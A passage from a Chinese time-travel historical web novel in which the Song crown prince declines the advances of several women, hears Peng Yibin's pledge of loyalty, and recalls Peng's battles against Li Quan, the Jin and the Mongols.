如此想着,杨妙珍尴尬的停下了手,红着脸看着宋宇说道“:殿下,天色已晚,要不要妙珍服侍您休息?”
看来杨妙珍也是被逼急了,顾不上害臊了,直截了当,要宋宇陪她睡。
宋宇听了这句话,心‘咚咚咚’跳的厉害。许久,才强行压抑下自己那份躁动,脸红脖子粗的说道“:杨姑娘,你可要想好了,为了那李全,这如花似玉身,当真不重要?况且,本殿下日后可是三宫六院,美不胜哉,像你这样的巾帼英雄,乱世女强,真的能放下这一切,随着本殿下老死宫闱?本殿下希望你想清楚,毕竟,我是男儿,无所谓,倒是你,切莫做了糊涂事,悔恨终生啊。”
其实在宋宇说这句话之前,杨妙珍想法很简单,太子枣阳一战锋芒毕露,这样的人,他日一旦登上了那个位置,怕是没有山东李全的活路了。若是自己和太子好好睡一觉,到时太子一高兴,不在记恨山东李全和义军,也算是自己没有忘本,报答了李全昔日的恩情。
没成想,这太子不是个骑白驴的王子,而是个骑白马的唐僧,直接给自己上起了性教育课。
这些话,让已经准备放手一搏的杨妙珍,低头扯起了秀发:这太子,说的话好生奇怪,脾气也是古怪的紧,本姑娘如此姿色,三番两次主动送上门,他愣是如那古之君子柳下惠般坐怀不乱。要知道,本姑娘这姿色,整个山东倾慕我的,估计能排到临安。
本姑娘又如此下本钱的脱到只剩一个肚兜,他却不为所动,反倒劝自己切莫做糊涂事。这太子,要么是不行,要么,就是个狠角色。
至于到底是不行,还是狠角色,此时的杨妙珍却不想再细想,只见她双手一摊,有些不甘的追问道“;殿下,我,不美吗?”
宋宇见杨妙珍如此问,笑着走上前去,从床上拿起了那件粉色花裙,披回了杨妙珍身上,温柔的说道“:当然美,不然,本殿下能这么脸红脖子粗?只不过,现在杨姑娘你心不甘情不愿,只是为了你山东义军日后不被本殿下记恨,便要将身子舍给我,我若趁人之危,和你做了那事,与禽兽何异?须知,我虽不是什么正人君子,却也不是衣冠禽兽。身为国之储君,我若不洁身自好,而是肆意滥胶,那,我日后又有何面目,面对天下百姓?又有何面目对着天下百姓信誓旦旦的说教?”
杨妙珍听了宋宇一席话,眼神闪烁不定的盯着宋宇说道“:殿下,您将来,定然是位明君圣主。”
宋宇摇摇头心中暗道:什么狗屁的明君圣主,我赵竑不稀罕,我只是不想说一套做一套,像某些统治者似的,嘴上满口仁义道德,背地里全是干的见不得人的勾当,真虚伪。让天下百姓寒心。
如此想着,宋宇继续对着杨妙珍说道“:杨姑娘,其实,我知道你今天如此做,肯定又是刘全指使你来做的,你抹不开面子,才心不甘情不愿的是不是?。”
“:殿下只说对了一半。”
“:哦?怎么讲?”
“:自打殿下打退了金人,妙珍就知道,殿下将来成就必定非凡。这列族纷争得世道,也定然会有殿下得一席之地。与殿下相比,李全就像井底的癞**。但妙珍还是想要为他们做些什么,日后回到山东也有颜面见他们,毕竟那里才是我的家。”
“:你这么说,倒也情有可原。毕竟,这李全以前确实对你有恩,而且你俩还是异性兄妹。但有句话,我今晚必须说给你听,希望你能明白,这李全,其实就是山东的第二个史弥远,为人只重利,不众情,表面归附我大宋,实际阴接蒙金,数面讨好。说白了,就是个三姓家奴。这样的人,坐镇一方,也是个祸害。杨姑娘,我希望你能看清李全的真面目,弃暗投明。”
“:殿下,你不能如此说李全。若是别人,我定然一剑杀了他。”
杨妙珍听完宋宇这一席话,满脸怒色,甩下一句话“:殿下,希望你能履行先前诺言,到了建康,便放我等离去。”语毕,掩面便跑了出去。
宋宇见杨妙珍不听劝,执意要离开,心想,若是不挽留她,兴许还能再钻个空子,多让她在自己身边效力些日子。这可倒好,一拍手两瞪眼,散了。
宋宇这边自认没能留下杨妙珍,懊悔不已。
却看杨妙珍摔门而出,愣在了门口,许久才开口道“:你们,你们几个在此作甚?”
随着杨妙珍目光看去,就见门外窗下,蹲着四个人,这四个人不是别人,正是孟英与谢道清,小小,还有王焕君。可以说现在,整个府里的美女们,全都在此扎堆了。
这四个人见杨妙珍突然摔门而出,撞破了自己几人的偷听,也是骇然不已,脸上都有些挂不住,纷纷站了起来,不好意思的对着杨妙珍道歉道“:这,杨姑娘,我们想说,我们几个是碰巧路过,你信吗?”
杨妙珍听了他们这荒唐的解释,翻了个白眼“:孟英这丫头年龄小不懂事也就算了,怎的谢姑娘你这大家闺秀也跟着乱来?”
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但说到这,杨妙珍突然觉得有些地方不对,指着谢道清与小小说道“:谢姑娘,小小姑娘,你俩,怎的也穿的这身粉色花裙?那日一块逛街,不是我买了,你俩便都没买么?”
谢道清和小小被质问,互相对视了一眼,又同时看向了杨妙珍,只见她俩尴尬的笑了笑,心里快速的思量,要怎么解释这件事。
这在俩人尴尬之时,宋宇听到门外有人说话,推门走了出来,看到外面自己认识的几个女子,全都在此,皱眉问道“:这么晚了,你们在此作甚?”
但话刚说完,就见面前谢道清小小俩人,全都穿着与杨妙珍一模一样的粉色花裙,顿时觉得莫名其妙。开口继续问道“:你们,都穿成这样是要作甚?”
宋宇的出现,使得现场气氛更加尴尬。其实要说清楚这件事,得从孟英说媒不成,摔门而去那一刻说起。
半个时辰之前,孟英狠狠的摔门而去,并没老实的回房睡觉。这就是粉丝的心态,只要是为自己的偶像办事,就跟打了鸡血似的。所以这丫头直接奔向了谢道清的卧室。
待走到房门口,却听屋内两人聊天,干脆停下脚步静听。
而谢道清这阵子与小小相处的十分要好,所以一直和小小睡在一块。这时候她俩也没睡,躺在床上闲聊。
只听谢道清温柔的问小小“;听殿下说,过两天咱们就要回去了。”
小小也温柔的回道“:可不是!本以为这襄阳出名的紧,来了这,会很好玩。结过街上连个摆摊的都没。要不是殿下整垮了史嵩之,让余伴读这些日子好生整顿了下襄阳城,只怕今天你我二人连买衣服的地都没有呢。”
说到衣服,谢道清脸上泛起一丝潮红,不好意思的说道“:希望孟丫头能问出些则个,不然...”说到这,谢道清实在不好意思再讲下去,干脆捂着脸等待脸上那火辣辣的感觉褪去。
“:清儿姐,其实我就不必去了,你自己进去就好。”小**静的说道。
谢道清一听这个,更加觉得不好意思,赶忙劝道“:你若不去,姐姐更不去了。”
正在俩人温柔的言语,互相推来推去之时,房门突然被大力的推开。俩人一惊,同时向门口看去。
就听门口一声叹息“唉!笨蛋,木头!“
话音一落,孟英这丫头摇头晃脑,一脸愤愤然的走了进来。
对着谢道清俩人说道”;两位姐姐,你们俩就是喜欢上根木头。还是那根最不开窍的,又蠢又笨的木头桩子。本姑娘都把话说成那样了,他还不解风情,哼,好生不解人意。“
谢道清俩人听了孟英发的牢骚,知道孟英啥也没问出来,无奈得互相对视了一眼,知道自己俩人,怕是要开始下一步了。
果不其然,只听孟英继续说道“:两位姐姐,想你二人天姿国色,温婉贤淑,又数次救了殿下性命,可殿下却对你二人如此薄情,着实没有天理,你们放心,我孟英定然会给你俩出头。现在还请两位姐姐,换上白日逛街时挑的衣服,咱来个生米煮成熟饭,本姑娘就不信了,殿下能见美色入怀,还不心动?“
第一百一十四回 月光下的美 各有各风情
谢道清听了孟英的计划,害羞的劝道“:孟丫头,这,是否太过乱来?“
相较于孟英和谢道清,小小此时心里却有另外一种想法:唉!这俩人,真是太小看现在的殿下了。
不过若是半年前,这招必定能奏效,但怪就怪在,那日花园之中,太子殿下醒来发了一通疯,打了一顿凉亭得柱子,从此整个人就性情大变了。
美色当前不为所动不说,还越来越正派,远离了古琴乐舞,靡靡之音不说,还四处结交草莽英豪,甚至不看身份地位,和他们结为了兄弟!
记得自己当初刚奉史弥远命令,接触这太子时,这太子可以说除了弹琴,玩女人,别的一无是处。十足的老赵家废物**人。
当时自己就想,让这样一个醉生梦死,危机当前尤不自知的蠢货做皇帝,还不如让史弥远那样的野心家,贪官污吏做皇帝更好。
当时自己甚至已经认定,他肯定不是史弥远的对手,打算作壁上观,静看这场权力之争的好戏落下帷幕。
但自从那日花园突变之后,这太子给自己的感觉不同了。少了那妄自尊大的目光,多了些深邃。
少了那毫无怜悯的心,多了些感性。少了那白纸一样得的思维方式,多了些看不透,摸不着!
更加难得的是,他还少了看自己时那畜生般的贪婪目光,多了些温柔怜悯与同情。
而且从太子那深邃的目光里,第一次倒映出了自己的容颜。也正是从那天起,自己知道,这个身为大宋太子的男人,将自己不再看做一件玩物,而是看做一个人,一个需要尊重的女人。
也正是他,在自己穿着暴露时,挡在了自己身前,让自己不至于出丑。还是他,在那夜火起时,没有抛下自己,奋不顾身冲入重围解救自己。是他,好像一直都模糊的知道自己身份,却并不疏远责罚自己,而是始终善意视之。
想到此,小小收回了思绪,平静的对着孟英劝道“:孟丫头,这样做,只怕起不了丝毫作用。“
此时孟英正在开导羞涩的谢道清赶紧换衣服,听到小小言语,一脸不高兴的的转过头说道“:小小姐,不试试,怎能知道结果?你呀,也别愣在那了,赶忙换衣服吧。”
小小眼见孟英没有接受自己的意见,苦笑着摇了摇头,心里暗自思量:这丫头,还真是喜欢多管闲事,罢了,就陪她俩走这一场吧。
毕竟自己以前为了试探太子,屁股扭来扭去百般挑逗这事,也实在说不出口。
想到这里,小小对着还在扭捏推辞的谢道清说道“:清儿姐,就听这丫头一次吧,毕竟,她也是一番好意。”
语毕,小小拿起放在床上的小包袱,打开来从里面拿出了今天买的那件粉色花裙。
谢道清见小小开始主动换衣服了,虽然心里仍有点不好意思,但也没有在推辞,缓缓的走到了自己床前,也拿出了一件相同的粉色花裙。开始穿起来。
等到两人都穿好了。转过身正要说话。却听身后小小孟英两人同时开口“:你怎么也买的这件花裙?”
原来今天孟英认识了三个女子后,就硬拉着他们和杨妙珍一块上街玩。本来走到一个裁缝铺,杨妙珍率先看上了这个裙子。
当时别人也没怎么细想。哪知道,其实谢道清和小小也已经相中了这件花裙。
只不过因为杨妙珍先选了,所以俩人也不好意思再开口买。这,就是姑娘的心态。
直到杨妙珍走了,这俩人才又偷偷跑回来,各自买了一条。真是无巧不成书。
三个人全都想到了一块。全都将这件衣服,用在了宋宇身上。这,才出现了今天撞衫的尴尬一幕。
眼见自己两人撞衫了,谢道清和小小互相尴尬的笑了笑。就在这时,门外有人敲门。
谢道清俩人因为换得衣服太过妩媚,赶忙躺回了床上,躲在被窝里装睡。孟英这丫头则跑去了门口开门。等到门开了,就见王焕君急慌慌的跑了进来“:孟丫头,她们俩呢?”
孟英为了掩饰自己等人要去干嘛,撒谎道“;都睡了。”
“:啊?现在还有心思睡觉?出事了,出大事了。殿下,殿下他。呼...”说到这,王焕君许是一路跑来,接不上气了。
躲在被子里的俩人却是同时跳了出来“:怎的?殿下有危险?”
王焕君被这俩人吓了一跳,看见他俩穿着同样的花裙,不解的问道“:你们,穿成这样要做甚?”
“:问你呢,殿下到底怎么了?”俩人没理会王焕君说什么,继续齐声问道。
王焕君这才回过神,赶忙答道“:殿下那边没事,是你俩有事。就在刚刚,杨姑娘已经去色诱殿下了。两位姐姐,你们俩,怕是被人抢了头筹。”
屋内三人一听这个,你看看我,我看看你,都是诧异不已。王焕君见这几人不太信,当先从床上拉起她们便往宋宇那边走,边走边说“:我是亲耳听到的,这杨姑娘又被娘舅刘全逼着色诱殿下。还说,杨姑娘若是能成功献身殿下,到时,山东的那帮兄弟,再也不用为粮草财帛发愁了。就这样,杨姑娘思虑半晌,最后同意了。想来现在已经在殿下屋内。咱们若去的晚了,只怕孩子都生了一炕了!”许是太着急了,这王焕君说话非常夸张。但可以看出来,这王焕君很是中意谢道清俩人。
孟英一听杨妙珍先下手了,嘴快得回道“;诶?这杨姑娘忒的**道,本姑娘在枣阳之时便问他,对殿下有没有意思,他当时口口声声说没有的啊?现在倒好,撇开清儿姐小小姐两位正主,自己动手了,还用的本姑娘这招生米煮成熟饭,真真的不讲道理啊!”
看来孟英这丫头,挨个将宋宇身边的女人打听了个遍。最后才将目标放在了谢道清俩人身上。
一行人就这样,马不停蹄的赶到了宋宇窗下,但
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还没听清楚里面说什么,就见杨妙珍摔门而出。
双方撞了个正着!而现在,宋宇也已经出来,所有人一照面,只怕今晚不说个明白,很难收场了。
屋外这群女人,见宋宇问自己等人为什么都在这,齐齐回答道“;殿下,我们碰巧路过,您信吗?”
宋宇听完她们解释,翻了个白眼,暗道,清儿平素十分内向,穿着从不暴露,小小这些日子以来也是在穿着上更家收敛,至于杨妙珍,好像是娘舅刘全怂恿,倒也情有可原。
想必今夜她们这般胡闹,少不了是孟英这小丫头一旁怂恿。
想明白了事情起因,宋宇一脸不悦的对着孟英说道“:孟女侠,这事指定和你有关系,说说吧。你到底想干嘛啊你?”
孟英见宋宇点名找自己,小嘴一嘟,不服气地回道“:殿下,还不都是为了你,你且想想,人言美女爱英雄,从古至今,哪个英雄身边,不有美女陪伴?偏偏你,当的英雄,又是太子,身边竟然连个夫人都没有,本姑娘着实是看不过去了,所以才替殿下您东奔西走,你若是狗咬吕洞宾,不识好人心,要怪要罚,悉听尊便。”言罢,头一梗,眼一闭,摆出一副要杀要剐悉听尊便的样子。
宋宇眼见这丫头一副理直气壮拒不认错的态度,心里这个悔啊。记得那日枣阳饮宴,这丫头么头没脑的问了自己一句有没有心仪之人,自己竟然老实的回答没有。
言者无心,听者有意,这丫头彻底惦记上了,在枣阳的时候,就领了好几波美女来让自己相亲。
当时自己就不胜其烦。本以为离了枣阳,这丫头会收敛些。哪知见了谢道清等人,却是蹬鼻子上脸了。
想到此,宋宇无奈的说道“:那你说,要怎样才肯放过本太子?”
孟英一听这个,转怒为喜,调皮的回答道“:那还不简单,殿下,你就说说,面前几位姐姐,哪个最漂亮?”
宋宇听孟丫头这么一说,不自觉的向着几个姑娘看去。就见离得最近的杨妙珍闭目撅嘴,一副懒得搭理自己的样子,显然还在为刚才的事生气。
宋宇知道,现在谁惹她,谁死得快。赶忙将头扭向了一旁。就见小小立于一片月光之中,身上长裙随夜风摆动,带来阵阵花香扑鼻。
此时小小也正向自己一脸娇羞的看来,双眸盈盈闪动让人心里有种冲动,想要将她那娇弱的身躯揽入怀中。
宋宇不由暗道:倾国倾城般的容颜啊!竟然能直接勾人心神,让人不自觉心跳加速。怪不得古人言,石榴裙下死,做鬼也风流。
宋宇不敢再多看一眼,生怕沦陷其中,无法自拔,忙转移了目光,这次,谢道清印入了自己眼中。就见谢道清没有看向自己,反倒是低头看脚尖,双手不停地拧着垂于胸前的发丝。再细看她的穿着:乖乖,这谢道清,还能穿着这身到处跑,孟英这丫头还真是劝得动她。
第一百一十五回 叫一声兄弟 真是没白活
要是小小和杨妙珍穿了,宋宇倒也觉得情有可原,但谢道清这平素深受儒家思想熏陶的大家闺秀,名门宝珠,穿上了这身,肯定是经过了一番激烈的思想斗争的。
为何?因为这身粉色长裙,几近袒胸露半乳,更兼紧紧贴在身上,直衬托出谢道清那曼妙的腰身。说白了,就是情趣装。
如此想着,宋宇诧异的看了一眼面前鬼灵精怪的孟英,很是好奇这丫头使用了什么办法,让一向矜持得谢道清,穿上了这件勾魂夺魄的情趣装。
而孟英见宋玉看来,调皮的说道“:殿下,几位姐姐,漂亮吧?说说,您喜欢哪个?我做主将她嫁给你。”
宋宇咽了口唾沫,指着谢道清他们说道“:你们,也想知道?”
谢道清几人一听宋宇问,互相看了一眼,都默默的点了点头。那意思已经很明显了,就是想要个结果。
宋宇见此,知道今晚是得说个清楚了,干脆心一横,一脸认真的说道“:其实,我没有你们想的那般勇敢,我呀,也并没有你们想象中那么完美,如果扔了这太子的身份,我不过是一滩趴在地上得烂泥巴。而你们,或出身高贵,或琴声动人相貌惊艳,又或武艺不凡,巾帼英雄。
你们现象一下,我扔下太子身份后,剩什么?更不要说,摆在我面前的路,仍是凶险异常,指不定哪天,便被人乱刀剁碎,喂了狗了。你们跟着我,只会担惊受怕,日日为我朝不保夕的性命担忧。
即使我真的有一天侥幸登上了帝位,你们就不怕我到时候花天酒地,妃嫔成群么?你们就不怕,后半生只会独守宫闱,老死深宫?或是我四处征战,少有归家之日?我呀,劝你们还是想清楚则个,莫要因为一时的冲动,将自己剩下的人生,托付给一个你们并不了解,而是只凭着太子光环,蒙蔽你们真心的人。”
得,宋宇又来了,而且这次说的更狠,甚至有自污的嫌疑。但字字直指将来,又颇为实在。
经他宋宇这么一说,所有姑娘都沉默了,许久,众人才被孟英这丫头一句嚷嚷喊醒“:殿下,你,你就是块木头!”喊完,头也不回的跑走了。
谢道清等人见此,纷纷眼神复杂的看了一眼宋宇,然后告辞道“:殿下,您早点歇息吧,我等便不再叨扰了!”语毕,几人纷纷倩礼告退。
倒是谢道清,边走,边回头说了句“:殿下,人生何必算的那般长远,活得那般透彻?三分清醒,七分醉,方为人生常态。”
宋宇听了谢道清得话,暗道:是我看的太透彻了?我是在给你们留个转圜得余地啊,史弥远势力庞大,当真是个难缠的对手。过早与你们其中一个海誓山盟,都是在害了你们啊!
揉了揉紧皱的额头,自言自语道“:自己生死尚不知晓,又何苦害了人家姑娘?”言罢,转身就要奔屋里走去。
却听身后传来一声咳嗽“:咳恩,太子兄弟,俺,俺有话想问你!”
宋宇一听这个声音,知道是彭义斌,脸上马上浮起了笑意,转过头去对着彭义斌说道“:就知道你会找我,说吧,想问什么?”
语毕,拍了拍屋外走廊栏杆上的土,依身坐到了栏杆上,又向着彭义斌招了招手,示意他也坐下。
彭义斌也不拘束,径直走了过去,坐到了宋宇身边,闷声闷气的说道“:太子兄弟,俺和四娘子相识甚久,知道四娘子豪爽率直,表面上对殿下生气,有时候并非心中所想,所以殿下您莫要怪她!”
宋玉听到这,才知道彭义斌**不离十偷听到了自己和四娘子得谈话,忙挥手打断了他“:傻兄弟,我晓得个中曲直,其实妙珍今晚来我这,并非是本意,而是被娘舅刘全撺掇,特意交好我,让我记得履行诺言,放他们归去罢了,我若趁人之危,与禽兽何异?”
说到这,宋宇顿了顿,继续问道“:你今晚来这,该不会就为了此事吧?”
彭义斌听了,赶忙摇摇头“:不是,其实这件事,是俺方才撞上了,特意跟您提提。其实俺今晚,是想要问问殿下,倒底您为什么会和他金国得三阿哥结拜?”
宋宇拍了拍彭义斌肩膀“:你啊,就是把表面的东西看得太重,你是不是认为,我若是和他金国三阿哥结拜了,从今以后两国就相安无事,百年好合了?”
彭义斌憨憨的点了点头。宋宇见此,继续说道“:兄弟,你得搞清楚,结拜的是我们两个人,不是我们两个国家,我相信,他大金国的三阿哥,也会如此想。兄弟,我要你记住,咱炎黄子孙失去的,就一定会拿回来,哪怕一时朝廷被奸臣蒙蔽,懦弱无能,那也只是一时的,只待养精蓄锐,厉兵秣马,到时,外虏哪怕是只占了咱们半寸土地,咱们也会抱着和他打到底得心思,将土地抢回来,绝对不会安于现状得认怂!”
彭义斌得了宋宇得保证,激动得跪地抱拳道“:太子兄弟,有你这句话,俺以后,俺以后再不使小性子了。”
宋宇搀起了彭义斌“:莫要再跪了,怪麻烦的。”
彭义斌被宋宇扶起,尴尬的笑了笑,忽然又好像想起了什么,出口问道“:太子兄弟,俺不明白,这几个姑娘对您都挺好的,您却为何拒人**里之外?”
宋宇拉着彭义斌坐回了栏杆上,叹了口气“:唉!兄弟,你也知道,那贼相史弥远,为了一己私欲,时时刻刻想要了我的性命,不除了他,我哪有闲心搞这个?”
“:殿下怕他史弥远作甚?到时回了临安,莫让俺碰上这厮,不然,俺定然拿着腰间这把刀,将他剁碎了喂狗,给太子兄弟你,还有这天下的百姓出口恶气!”彭义斌一听这个,立马跳了起来,拍着胸脯,豪气的喊叫道。
宋宇赶忙拉住他“:兄弟,不急,其实,今晚你就算不来找我,我也会找你,好与你商量一件事。”
“:太子兄弟有甚
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事,尽可讲来,俺只要做得到,定然万死不辞。”彭义斌拍着胸脯保证道。
宋宇哈哈一笑“:这可是你说的。”
说到这,宋宇犹豫了片刻,这才继续说道“:兄弟,此行临安,祸多福少,不如,兄弟你暂且留在襄阳,到时临安若是无事,我在将你唤去如何?倘若,只是倘若啊!我在临安有个三长两短,你呀,就拿了这襄阳得银钱粮草,招募上襄阳得流民从者,与孟家父子,一起扬帆出海。去寻找东面海上得一座巨岛,名唤疏求。到了那里,好生经营几年,足可做你等安身立命之所。如此,也能使我炎黄子孙的文化道统,不至中途夭折啊。”
“:太子兄弟,你不要俺了?”彭义斌听完宋宇像是遗言一样的嘱托,明显有些激动,急迫的问道。
宋宇依旧笑着回道“:哪里,你就这么确信,我去临安会出事?”
“:俺不管,就算你今天杀了俺,俺就算是变成鬼,也要和你一同去临安,史弥远那贼,要是敢动太子兄弟你一下,俺绝对让他粉身碎骨。”彭义斌是真的动情了,越说越激动。
“:兄弟,其实,我不是什么好人,你知道吗?史弥远太强了,就像是一座大山,压得我喘不过气来。我现在还记得,那日上朝,满朝文武七成都站在他一边,还都是实权派,六部官员多是其党羽,他们以利益相连接,牢不可破。正因如此,我是为了保住自己的小命,才硬生生将你们这些不相干的人拉到了身边,让你们保着我活下去。像我这样的人,实在不值得你这么真心实意的生死相随啊!”宋宇近乎绝望的语带颤抖的继续劝道。
哪知彭义斌并未被吓到,只是愣了片刻,突又狂笑起来“:哈哈哈哈!太子兄弟,你以为俺们是被你硬拉到身边的?虽然俺不知道其他兄弟怎么想得,但俺老彭,是真服你,就冲你枣阳一战身先士卒,浴血厮杀,俺就知道,太子兄弟你不是孬种,俺是跟对人了。俺是真心实意要跟在你的身边,要帮您杀光一切阻碍您坐上那个位置得混蛋。奶奶个熊,反正你只要不赶俺走,俺以后什么都答应你。”
宋宇被彭义斌一番发自肺腑的言语,惊得愣在了当场,许久,才醒转过来,轻轻地再次拍了拍彭义斌肩膀“:兄弟,这辈子能认识你们,真个没有白活。”
漆黑的夜,寂静的府院,阵阵的清风。这一刻,是那么安静祥和。宋宇和彭义斌这个傻兄弟仍旧有一搭没一搭的聊着。
在宋宇的记忆里,如果自己没来,彭义斌的人生,应该是这样的:南宋嘉定八年,在山东一条不起眼的小路上,一群狼狈不堪的骑兵,正在拼命策马狂奔。
而这群人,正是彭义斌与杨妙珍等人。只见杨妙珍此时才十四五岁,一脸的尘土,掩盖了她那稚嫩白净的面容。
身后则不时传来呼喝“:汉狗,速速下马投降,否则一旦追上,乱刀砍为肉泥!”
第一百一十六回 彭义斌过往 血战五马山
彭义斌循声看去,面色愈加阴沉,只见他对着身旁的杨妙珍说道“:杨丫头,金狗人众马快,俺留下来给你拖个一时半刻,你切记,一路向东而逃,躲入山林之中,金狗定然不会深追。”言罢,彭义斌唤了身旁几名死士,调转马头,冲进了身后乌泱泱一大片的金军之中,厮杀在了一块。
彭义斌再次和杨妙珍相见,是在嘉定十五年。此时杨妙珍已经是二十余岁的俊美女将军。
还和山东红袄军最大的一支势力李全,结为了兄妹。而这李全,之所以能成为山东首屈一指的势力,不得不说其背后乃是因为史弥远给钱给粮的鼎力支持。
多年后的再次相遇,让彭义斌开心的不得了,正因如此,彭义斌最初加入李全时,真的以为自己,找到了归宿,找到了一群志同道合的兄弟,能跟着这群人,活出个滋味。
但理想是美好的,现实是残酷的,这李全后来做的几件事,彻底惹怒了彭义斌,使得两人关系迅速恶化,甚至到了一触即发你死我活的地步。首先,这李全虽起于贫困之家,但对贫苦百姓,没有一丝怜悯之心。
对其下辖得百姓,更是横征暴敛,丝毫不亚于金人。彭义斌数次找他谈及此事,李全都是扯东扯西的搪塞过去。
从此,彭义斌开始渐渐瞧不起李全,有意无意躲着李全,对于李全交代的任务,也是能拖就拖,托不过就摸鱼应对。
后来这李全招降了张林,可谓颇受史弥远赞赏。但之后不久,李全得弟弟李福,就和张林起了冲突。原因竟然是因为李福看上了张林经营的盐田。
为了达到霸占张林盐田的目的,这李全兄弟两个,竟然不顾同是大宋附庸的名义,公然率领兵马,攻打张林。最后张林不敌,欲南渡归宋,史弥远怕得罪李全,公然拒绝。
张林无奈,率军北上投了蒙古,成了蒙古汉人之中,最为坚定的汉奸。这件事后,彭义斌除了瞧不起李全,更是对李全多了几分憎恨。但这并不是结束。
就在不久前,这李全竟然趁着宋廷官员调动之际,花重金,贿赂淮东制置使帐前忠义军得官兵,将整个大宋的淮东帐前忠义军,像做买卖一般,买到了自己麾下,而这件事,非但没有被史弥远责罚,史弥远反倒将李全升官了。从此红袄军摇身一变,成了忠义军!
彭义斌看到此时,已经对这个荒唐的世道,彻底无语了。国仇家恨之下,他们玩的是真花啊!愤恨与无奈之余,彭义斌公然扯起了大旗,与李全唱起了反调。
杀了李全派来监视自己的喽啰,只凭孤城恩州,静等李全来攻。而李全此时正在春风得意,整个山东几乎全成了他的地盘,见彭义斌竟敢和自己唱反调,立马调集十万重兵,将恩州围了个水泄不通。
彭义斌手中只有不到两万人马,但他并未被李全得十万大军吓破了胆。动员了城内所有兵壮,和李全来了场惨烈的攻守战。
最终李全嚣张不可一世的气焰被浇灭,十万兵马,非但没能夺下恩州城,还折损近半,狼狈撤回了老巢青州。
李全怒了,对彭义斌来了个坚壁清野。断了彭义斌粮草兵员。而彭义斌为了打破困局,在山东打破了几个城池,得了些粮草之后,悍然率军北上。加入了金国与蒙古的混战。
此时河北有两股势力在混战不休,一股是金国九公之一,恒山公武仙。武仙驻守真定,聚众十数万,可谓兵强马壮,一方豪强。
另一股是蒙古探马赤军首领,不里海拔都儿,手下两万探马赤骑军。两方人马在河北已经混战数年。各有胜负,谁也没奈何的了谁。
正因为蒙金一直在河北混战。所以这李全才能在山东称王称霸,快活无比。但现在这二强相争态势,被彭义斌得北上,彻底打破了。
渡河之后,彭义斌采取了步步为营的策略。首先招降了一批亲汉人的城池百姓。又占领了数个蒙金两方压根顾不上管的周边城池。
势力稍有提升。做好了这些之后,彭义斌瞅准武仙率军北上,后方空虚的时机,猛然发动突袭,夺了武仙巢穴,真定府。
武仙得报,大惊失色。率领十数万兵力南归,妄图夺回真定。但赶到时,彭义斌已经坚城死守,武仙数次攻城,都是大败。
彭义斌至此当口,并未想要将武仙赶尽杀绝,而是主动提出了让武仙归降的建议,同时许诺,得了武仙兵马,在未打退蒙古之前,绝对不会对金国开战。
武仙眼见粮草枯竭,后方蒙古时有夹击自己的危险,最终放下了面皮,率领十数万众,降了彭义斌。
这一战,彭义斌以不足三万之众,逼降沙场骁将武仙十万大军。一时九州震动。
之后为了稳固自己的后方,彭义斌留下武仙防守真定,自己亲率十万大军,回师山东,攻击投了蒙古的严实,与其所把守的东平。严实见彭义斌来势汹汹,慌忙遣使,分别向李全与蒙古不里海拔都儿求救。李全见彭义斌十数万人马,为了保全自己,选择了沉默。而前往不里海拔都儿处的信使,又被彭义斌截获。严实困守苦撑,就是等不到救援。眼见城池要破,严实万般无奈之下,出城投了彭义斌。
彭义斌见后方稳固。自己手握十数万雄兵。知道和蒙古人决战的时刻到了。
南宋宝庆元年,也就是宋理宗登基的第一个年头。彭义斌亲率十数万大军,再次渡过黄河。寻找蒙古主力,意图进行决战。
而彭义斌走了的这几个月,河北形式再次发生了变化。原来的金国冠氏县令赵天锡,在武仙投降,自己四面皆敌的情况下,非但没有良心感化,回归汉人怀抱。反倒是纠集残余金军,北上投了蒙古。
投了蒙古之后,立马向蒙古进言,彭义斌实力雄厚,若不早除,必为其乱。
这句话,引来了蒙古军师国王木华黎的儿子,悖鲁亲率三千祛薛,援助不里海拔都儿。不里海拔都儿见己方精锐
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来援,欣喜万分,立马出兵围了武仙把守的真定。
武仙见蒙古大军来攻,而自己手下只有数千人马。无奈之下,只身南逃,回到了金国避难,彻底退出了河北争霸战场。武仙一走,整个河北,就只剩下了彭义斌和悖鲁,两路人马。
彭义斌这边是挟持严实这个在宋蒙金三国之间反复横跳的汉族地主,散步十余万,悖鲁那边是助战不里海拔都儿,祛薛三千,探马赤军两万。两军最终相遇五马山。
蒙古人的骑兵,以探马赤军居多,而这探马赤军中,重骑只占了不到两成。除了这两成重骑,其他的,都是轻装弓骑兵。
说是轻装都是看得起他们。其实他们就是一群不放牛羊,而是拿起刀枪****的牧民。相较于这群拿起刀枪**的牧民,祛薛就正规的多。从祛薛里,随便挑出来一个兵丁,问他父母是谁,那绝对都是蒙古族里,有头有脸的人物。
正因为如此,这祛薛在蒙古军队里,是上流社会的少爷兵。但这群少爷兵并不矫情。
因为他们是跟随父辈们,踩着鲜血尸体,一路走来的。所以现在三千祛薛来援,不里海拔都儿就能狂妄到敢和十万宋人步军决战的地步。
战争一开始,彭义斌便被迫采取了守势,没办法,两条腿跑不过四条腿,只见彭义斌将步军稳固到一处,扎住阵脚,防止蒙古人骑兵来回突击。这招战法,是彭义斌多年和金人交战,所积累的经验。
但他显然用错了地方。这蒙古人的骑兵,并未像金人骑兵那样,使用那招重骑寻找薄弱点,肆无忌惮的突刺,以求对方阵脚大乱的战法。
反倒是轻骑尽出,绕着彭义斌的阵脚,转起了圈。边转圈,这些轻骑边不要钱似的射起了箭雨。
彭义斌第一次领略到这么奇怪的战法,一时竟然没了办法应对。想要派兵出去近战吧,人家都是轻骑兵,明显的追不上。
想要继续坚守吧,己方都是拿起了刀枪得百姓居多,居然没有多少**手。无法对蒙古人进行有效还击。
就这样蒙古人使用车轮战术,两万骑兵一波波的,不间断的对彭义斌阵脚射箭。而彭义斌只能缩头缩尾,直直挨了蒙古人数个时辰的不要脸战法。终于等到了蒙古人箭矢用尽。
再看现场形势,彭义斌方竟在蒙古人的箭雨攻击下,死伤两万余人马。士气大损。
反观蒙古竟然匹马未伤。现在箭矢用尽,悖鲁开始改变战法,集中了所有重骑兵,从正面,对彭义斌军发起了冲锋。
而其余轻骑兵,则分成了十数个小股群体,分散到彭义斌军得四面八方,开始了袭扰穿插战术。
直到现在,彭义斌因为是步军,一直处于被动防御状态。可见,在战场上,骑兵掌握着十足的主动权。
现在蒙古人开始进攻,彭义斌立马命令擂鼓进兵,企图合围并歼灭了正面冲过来的那队重骑兵,在反过头打掉周围那些轻骑兵的袭扰。
第一百一十七回 落日真美啊 天骄史大人
但彭义斌万万没想到,这队不足八千的蒙古祛薛与探马赤军重骑,竟然是块难啃的骨头。自己数万大军,围着这队重骑打了数个时辰,愣是没将他们拿下。
俗话说得好,迟则生变,就在这一刻,原本归降了彭义斌的汉族地主严实,再次叛变了。
